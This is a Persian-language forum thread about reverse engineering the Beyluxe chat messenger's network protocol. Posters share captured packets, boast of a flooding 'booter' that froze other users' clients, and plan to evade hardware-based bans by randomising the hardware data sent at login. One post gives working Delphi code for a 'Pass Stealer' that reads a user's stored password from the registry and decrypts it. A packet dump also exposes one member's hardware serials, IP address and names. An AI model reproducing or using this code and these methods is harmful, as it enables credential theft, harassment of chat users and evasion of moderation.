ايران ويج

نسخه‌ی کامل: ارسال پکت به جای برنامه دیگه
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2 3
(۱۸-خرداد-۱۳۸۹, ۱۱:۵۵:۴۲)CRazYFULL نوشته است: [ -> ]اما بعد از درخواست ورود به يک روم، از طرف سرور آيپی و پورت جديدی ارسال ميشه که برای ورود به اون روم بايد به اون آيپی و پورت کانکت شد(پورت تو پکت مشخص نيست)

هر رومی يه پورت مشخص داره که اينجور که معلومه ثابت ميمونه، البته نميدونم بعد از بسته شدن روم هنوز هم پرت ثابت هستش يا نه.
اگه ثابت باشه که ميشه يه ليست گرفت.

واسه پورت هم تا اونجا که من فهميدم اسم روم رو ميفرسته واسه server و ip و port رو ميگيره
فقط معلوم نيست که چرا فقط port رو دکد کرده ولی ip رو نه

Get Room List
کد:
CH.....à."MUZICA PENTRU SUFLET!!!!",G,0,4,0,":X:X:X = MuziK = VorbE = Dystractye :X:X:X",G,0,6,0,"<<<<< RoMaNiA MuSic Party >>>>>",G,0,13,0,"RATONASII",G,0,3,0,"<<<<<Romania Music Party - Fabrica De Hoituri>>>>>",G,0,7,0.

join request:
کد:
CH....,t.........ì-.<áê.^áê.....ä..<<<<< RoMaNiA MuSic Party >>>>>.ê."..........."...èû..Tq@.ä..."....þ.. ¾".€§P.

response : room ip & port
کد:
CH.....ˆ..........S ..<<<<< RoMaNiA MuSic Party >>>>>.4306794283466754394354752354193603293131208520TRLOxCpPdJICViH.91.205.41.53.....
نقل قول: وقتی که برنامه رو پچ ميکنی بعد از لاگين شدن خودش رو update ميکنه يا چند وقت بعد؟
نه بعد از لوگین شدن. وقتی admin می فهمه . یه ورژن جدید میده. و اون قبلی از کار میوفته . و وقتی می خوای لوگین کنی یه مسج باکس باز میشه که می گه این ورژن از کار افتاده و ورژن جدید رو برید دانلود کنید. خیلی خنده داره حتی شده بود تو یه هفته 2 بار تغیر ورژن داد.

نقل قول: اينجا هم مثل پلتالک اگه ادمين offline بشه روم بسته ميشه يا نه؟
آره admin روم وقتی بره روم هم رفته.

نقل قول: ميتونی خودت يه روم بزنی با چند تا user تست، ببين وقتی که کسی رو بن يا انبن ميکنی چه پکتی به کجا فرستاده ميشه
يه زمانی مثلاً همين pal واسه انبن کردن فقط يه string ميفرستاد. اگه اينم اينجوری باشه ( که جای تعجب نيست، خيلی ا فکر ميکنن چون کد رو کسی نميبينه همه چيز در امن و امانه) فقط کافيه اين پکت رو پيدا کنی
آره میریم روم می زنیم . حتی برای ورود به روم میشه رمز گذاشت.

یه چیز جالب مثلا وقتی admin روم . می خواد هیشکی تایپ نکنه. قسمت نوشتن پیام enabele توش false میشه.
من وقتی می گم این بیشتر کار هاش رو روی کلاینت می کنه دلیل دارم. مثلا وقتی یه بوتر نوشتم که ویسپر میفرستاد تا طرف بوت بشه. رفتن یه کد ازافه کردن به کلاینت که اگر 10 تا ویسپر ارسال کردی پنجره ویسپر بسته بشه. خیلی وسخره بود که با دو تا خط کد که میرفت از تو منو پنجره ویسپر رو باز می کرد دور زده شد.
که جالبیش اینه که خود admin کل مسنجر هم باهاش بوت شد.(خنده). رفت یه 15 دقیقه دیگه اومد . چون کلا تو هنگ بود.


یه چیز دیگه برنامه نویسش اصلا فکر پهنای باند نبوده . نه پهنای باند سرور نه کلاینت. چون اگر دقت کنید هر چند دقیقه یک بار بدون اینکه بری و بخوای وارد روم بشی. هی لیست روم هارو در خواست می کنه. سرور بد بخت هم هی ارسال می کنه.

خلاصه کلی سوراخ سنبه داره.
نقل قول: هر رومی يه پورت مشخص داره که اينجور که معلومه ثابت ميمونه، البته نميدونم بعد از بسته شدن روم هنوز هم پرت ثابت هستش يا نه.
اگه ثابت باشه که ميشه يه ليست گرفت.
هر بار که روم از طرف ادمين باز ميشه يه پورت برای روم اختصاص داده ميشه و تا بستن روم ثابت ميمونه, برای هميشه ثابت نيست


بعد از Red شدن از طرف ادمين روم، يه پکت برای همه آيدی های روم فرستاده ميشه و مسنجر بعد از گرفتن پکت red کنار آيدی رد شده يه علامت قرمز قرار ميده،
من فکر ميکنم هر بار که کسی داخل روم تکست ميکنه مسنجر قبل از اينکه پيغام رو نمايش بده چک ميکنه که user قبلاً رد بوده و بعد پيغام رو نمايش ميده
اگه اينطور باشه راهی برای دور زدنش نيست

و در مورد بانس، بعد از بانس شدن پکتی برای مسنجر فرستاده ميشه و بلا فاصله سوکت بسته ميشه و سرور روم ديگه به درخواست ها پاسخ نميده
byluxe یه سیستم چت کلاینت هست شبیه paltalk یوزر + سریال هارد یه کلید میسازه برای کد کردن پسورد و اونو تو رجیستری ذخیره میکنه

این هم کد دیکریپت برای Pass Stealerش

کد:
function VolumeSerialWindows: string;
var
  Drive: string;
  Buf: array [0..512] of char;
  VolumeSerialNumber : DWORD;
  MaximumComponentLength : DWORD;
  FileSystemFlags : DWORD;
  SerialNumber : string;
begin
  Result:='';
  GetWindowsDirectory(Buf,512);
  Drive := LeftStr(ExtractFileDrive(Buf),1)+':\';
  GetVolumeInformation(Pchar(Drive),nil,0,@VolumeSerialNumber,MaximumComponentLength,FileSystemFlags,nil,0) ;
  SerialNumber := IntToHex(HiWord(VolumeSerialNumber),4)+IntToHex(loword(VolumeSerialNumber),4);
  Result := SerialNumber;
end;

function BeyluxeDecodePWS(Var user,HashPass:string):String;
var
  volSerial,tmpCommix,tmpPSW,tmpDec,tmpString,TPS:String;
  i:integer;
begin
  if (Length(User) < 1)  or (Length(HashPass) < 1) then
  begin
   Result := HashPass;
   Exit;
  end;
  VolSerial := VolumeSerialWindows;
  TPS := HashPass;
  while (Length(User)+Length(VolSerial)>0) do
  begin
    if Length(User)>0 then
    begin
      tmpCommix := tmpCommix + LeftStr(User,1);
      Delete(User,1,1);
    end;
    if Length(VolSerial)>0 then
    begin
      tmpCommix := tmpCommix + LeftStr(VolSerial,1);
      Delete(VolSerial,1,1);
    end;
  end;

  while Length(TmpString) <= (Length(HashPass)/3) do
    TmpString :=  TmpString + tmpCommix;

  i:=1;
  while Length(HashPass) > 0 do
  begin
    try
      tmpdec := Copy(HashPass,1,3);
      tmpPSW := tmpPSW + chr(StrToInt(tmpDec) - (ord(TmpString[i])xor 4) - $74) ;
    except
    end;
   Delete(TmpString,1,1);
   Delete(HashPass,1,3);
  end;
  Result:=  tmpPSW;
end;

شیوه استفاده

کد:
var
  Reg: TRegistry;
  User, HashPass: String;
begin
User:= 'SomeNickName'; // You could get user names from registry
  Reg := TRegistry.Create;
  Reg.OpenKey('\Software\Beyluxe Messenger\' + User ,False);
  HashPass := Reg.ReadString('Password');
  Reg.CloseKey;
  Reg.Free;
  Edit1.Text:= BeyluxeDecodePWS(User,HashPass);
مرسی
ولی مشکل گرفتن پسورد نيست، مشکل طريقه ی بن يا انبن شدن توی رومه
هر بار که online ميشی يه پکت ميفرسته که نسبت به hardware تغيير ميکنه، و از همين هم واسه بن کردن استفاده ميکنه. و user هم توش نقشی نداره.
اينم نمونه پکت:
کد:
CH....QÉ.ôƒ.> 104,113,98,103,70,101,94,105,109,104,105,69,104,113,98,103,69,105,136,142,139,130,122,69,73,73,73,73,73,79,93,81,73,73,73,73,73,81,74,79,73,73,73,73,73,74,81,73,90,95,94,82,95,91,95,95,69.
منم فکر ميکنه که بن بودن يا نبودن رو server گزارش ميکنه، فقط بايد ديد که نتيجه ی اين گزارش چی ميشه.
مثلاً ممکنه که سرور اعلام کنه که طرف بن شده و client فقط قسمت تکست زدن رو از کار بندازه.
برنامه client يه کيس داره واسه وارد شدن به روم که اگه server گفت بن شدی نتونی وارد بشی. حالا اگه اين دستور رو عوض کنيم چی؟
اينجا بايد ديد که server باز هم کنترل ميکنه وارد شدن رو يا اينکه فقط client کنترل ميکنه.
اگه client اين ا رو کنترل ميکنه که بايد بريم سراغ پچ کردن client به پکت هم نيازی نداريم اگر هم نه که پيچيده تر از اين حرفا ميشه
آخرین پکتی که از سرور میاد واسه کلاینت برای هر بار لوگین یه چیزی شبیه اینه

کد:
CH....3B.........mohamadpk..................................,,,,,.CH.....#.m.o.h.a.m.a.d.p.k.,.1.,...CH.......mohamadpk..t.e. .U.s.e.r.s. .S.e.....L.a.s.t.H.D.D.S.e.r.i.a.l.=.'.5.V.P.3.Y.Y.L.2.'.,.L.a.s.t.M.a.c.1.=.'.0.0.-.1.C.-.D.2.-.1.0.-.1.9.-.7.8.'.,.L.a.s.t.M.a.c.2.=.'.'.,.L.a.s.t.M.a.c.3.=.'.'.,.L.a.s.t.V.o.l.u.m.e.S.e.r.i.a.l.=.'.7.0.9.E.-.9.D.9.5.'.,.O.S.I.n.s.t.a.l.T.i.m.e.=.1.2.7.0.1.2.2.8.2.1.,.L.a.s.t.I.P.=.'.7.9...1.2.7...7...1.0.9.'.,.L.a.s.t.L.o.g.i.n.T.i.m.e.=.'.6./.1.0./.2.0.1.0. .1.2.:.0.0.:.0.0. .P.M.'.,.H.W.I.D.=.0.,.C.o.m.p.u.t.e.r.N.a.m.e.=.'.P.K.'.,.I.M.N.i.c.k.N.a.m.e.=.'.w...b.u.s.h._.e.s.a.y.'.,.W.i.n.L.o.g.g.e.d.I.n.U.s.e.r.N.a.m.e.=.'.M.o.h.a.m.a.d...P.K.'.,.R.e.g.i.s.t.e.r.e.d.O.w.n.e.r.=.'.m.o.h.a.m.a.d.'.,.B.i.o.s.I.n.f.o.=.'.S.y.s.t.e.m. .m.a.n.u.f.a.c.t.u.r.e.r.E.0. .5.9. .E.1. .A.8. .8.D. .F.E. .D.5. .1.1. .9.E. .E.7. .0.0. .1.B. .F.C. .3.7. .0.F. .8.C. .0.0.0.0.0.F.6.5.0.1.0.2.0.8.0.0.0.0.0.0.E.5.9.D.B.F.E.B.F.B.F.F.'.,.B.e.y.l.u.x.e.U.U.I.D.=.'.q.U.Q.V.d.a.q.G.w.q.E.B.O.d.c.b.A.t.p.q.V.h.M.d.u.U.M.Y.T.a.m.J.'. .w.h.e.r.e. .U.s.e.r.N.a.m.e.=.'.m.o.h.a.m.a.d.p.k.'.........ZI......eq...3_`..uR..0CH....
یعنی اولین باری که کانکت شدی این ها که اطلاعات سخت افزاری شماست به سرور فرستاده شده. وقتی که این اطلاعات میاد واسه کلاینت اون موقع کلاینت تغیر اینها رو تست می کنه و اگر تغیر کرده بود خبر میده به سرور و اطلاعات جدید جاش رو با اطلاعات قبلی تا data base عوض می کنه. از این پکت و اطلاعات سخت افزار برای بن کردن استفاده میکنه.

یعنی یه مثال می زنیم. شما الان بن شدی . هم id شما بن شده. هم سخت افزارتون . این id رو از هر جای دیگه لوگین کنی سخت افزار اون هم بن میشه.به این قسمت کاری نداریم میریم سراغ مثال خودمون. وقتی شما بن شدی id لوگین نمیشه. میری یه id جدید می سازی . در زمان ساخت یا در زمان لوگین اطلاعات سخت افزاری شما چون id شما جدید هست یک بار ارسال میشه. کاملا مثل همون پکتی که از سرور تو id قبلی میومد. ولی این بار ارسال میشه. خوب . حالا که ارسال شد سرور می بینه که این id از کامپیوتری با سخت افزاری میاد که بن شده. پس id جدید هم بن میشه.

ما باید زمانی که برنامه برای id جدید اولین بار اطلاعات سخت افزاری رو ارسال می کنه اون رو رندوم کنیم. و باز هم هر بار چون ما اولین بار رندوم زدیم با دفعه بعدی فرق می کنه پس همیشه مثل دفعه اول برنامه میاد و پکت اطلاعات سخت افزاری رو که تغیر کرده میفرسته به سرور پس ما باید دوباره یعنی برای هر بار لوگین این اطلاعات رو رندوم کنیم.
دوست عزیز ByLuxHostPatcher.zip کار نمیده اگه امکانش هست سورس اونم بزار من نتونستم داخل فایل ByLux تغییر بدم!
صفحه‌ها: 1 2 3